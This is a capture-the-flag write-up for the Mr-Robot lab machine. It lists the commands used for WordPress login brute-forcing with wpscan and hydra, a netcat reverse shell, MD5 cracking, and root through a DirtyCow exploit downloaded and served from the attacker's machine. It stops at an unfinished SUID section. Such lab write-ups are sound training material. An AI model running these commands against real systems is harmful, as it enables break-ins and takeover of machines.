Last updated: 15 Apr 24 09:31:20 (UTC)
Write-Up MrRobot
Mr.Robot
By Lawcky & Taen 26/12/2023
Introduction
Mr.Robot is a wellknown machine inspired by the series Mr.Robot
Difficulty : Medium
Additionnal info :
Name: Mr-Robot: 1
Release date: 28 Jun 2016
Author: Leon Johnson
Series: Mr-Robot
|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them
In this write-up
- curl & wget
- uniq
- wpscan
- nmap
- hydra
- ffuf
- hashcat
- python
- nc & reverse-shell code
- dirtycow’s exploit
Write-UP
Robots.txt
content :
User-agent: *
fsocity.dic
key-1-of-3.txt
curl http://192.168.1.34/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
fsocity.dic
clearing the wordlist
cat fsocity.dic | sort | uniq > filtered_list.dic
fuzzing the site using the filtered wordlist
ffuf -w filtered_list.dic:DIC -u http://192.168.1.34/DIC
Wordpress
dictionnary attack on target using filtered wordlist and user admin
sudo wpscan --url http://192.168.1.34/wp-login.php --password-attack wp-login -U admin -P filtered_list.dic
using hydra to fuzz for valid usernames
sudo hydra -L filtered_list.txt -p password 192.168.1.34 -I -V http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username."
Dictionnary attack on target using filtered wordlist and valid users Elliot, elliot and ELLIOT
sudo wpscan --url http://192.168.1.34/wp-login.php --password-attack wp-login -U Elliot,elliot,ELLIOT -P filtered_list.dic
ReverseShell Time
then nc -lnvp 1234
on our machine
curl http://192.168.1.34/wp-content/themes/twentyfifteen/404.php
Upgrading TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL-Z + stty raw -echo && fg
export TERM=xterm-256color
User Robot
ls /home/robot
we find the password of the robot user in md5 format and the second key which can
only be read by the robot user
Hashcat
sudo hashcat -m 0 MrRobot.md5 rockyou.txt
password are all the letters from A to Z
MrRobot
su robot
cat /home/robot/key-2-of-3.txt
822c73956184f694993bede3eb39f959
Privilege escalation
linpeas.sh
on our machine
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8080
on our target
wget http://192.168.1.253:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
DirtyCow’s path
exploit:https://www.exploit-db.com/exploits/40839
on our machine
wget https://github.com/exrienz/DirtyCow/raw/master/dc64.c
python3 -m http.server 8080
on our target
wget http://192.168.1.253:8080/dc64.c
gcc dc64.c -o cowroot -pthread
./cowroot
exploit worked
04787ddef27c3dee1ee161b21670b4e4
Bonus : SUID exploits
Intended way for this machine
find / -perm -4000 2>/dev/null
searching for binairies with SUID permissions
And now we exploit it :